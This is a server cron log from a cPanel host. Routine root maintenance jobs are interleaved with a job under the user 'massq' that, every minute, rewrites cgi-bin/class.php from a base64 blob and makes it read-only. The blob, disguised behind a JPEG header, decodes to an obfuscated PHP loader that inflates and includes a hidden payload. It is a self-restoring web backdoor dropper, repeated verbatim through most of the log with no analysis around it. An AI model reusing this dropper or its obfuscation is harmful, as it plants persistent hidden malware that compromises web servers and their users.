Sep  2 14:44:01 server CROND[26519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:45:01 server CROND[26920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:45:01 server CROND[26922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:45:01 server CROND[26924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:45:01 server CROND[26926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:45:01 server CROND[26932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:45:01 server CROND[26925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:45:01 server CROND[26923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:46:01 server CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:46:01 server CROND[27777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:46:01 server CROND[27778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:47:01 server CROND[28159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:47:01 server CROND[28161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:47:01 server CROND[28160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:48:01 server CROND[28552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:48:01 server CROND[28553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:48:01 server CROND[28554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:49:01 server CROND[29036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:49:01 server CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:49:01 server CROND[29038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:50:01 server CROND[29451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:50:01 server CROND[29453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:50:01 server CROND[29455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:50:01 server CROND[29462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:50:01 server CROND[29463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:50:01 server CROND[29459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:50:01 server CROND[29460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:50:01 server CROND[29458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:50:01 server CROND[29461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:51:01 server CROND[30339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:51:01 server CROND[30340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:51:01 server CROND[30341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:52:01 server CROND[30720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:52:01 server CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:52:01 server CROND[30721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:53:01 server CROND[31115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:53:01 server CROND[31116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:53:01 server CROND[31117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:54:01 server CROND[31588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:54:01 server CROND[31590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:54:01 server CROND[31589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:55:01 server CROND[31973]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:55:01 server CROND[31976]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:55:01 server CROND[31975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:55:01 server CROND[31980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:55:01 server CROND[31984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:55:01 server CROND[31982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:55:01 server CROND[31983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:56:01 server CROND[360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:56:01 server CROND[361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
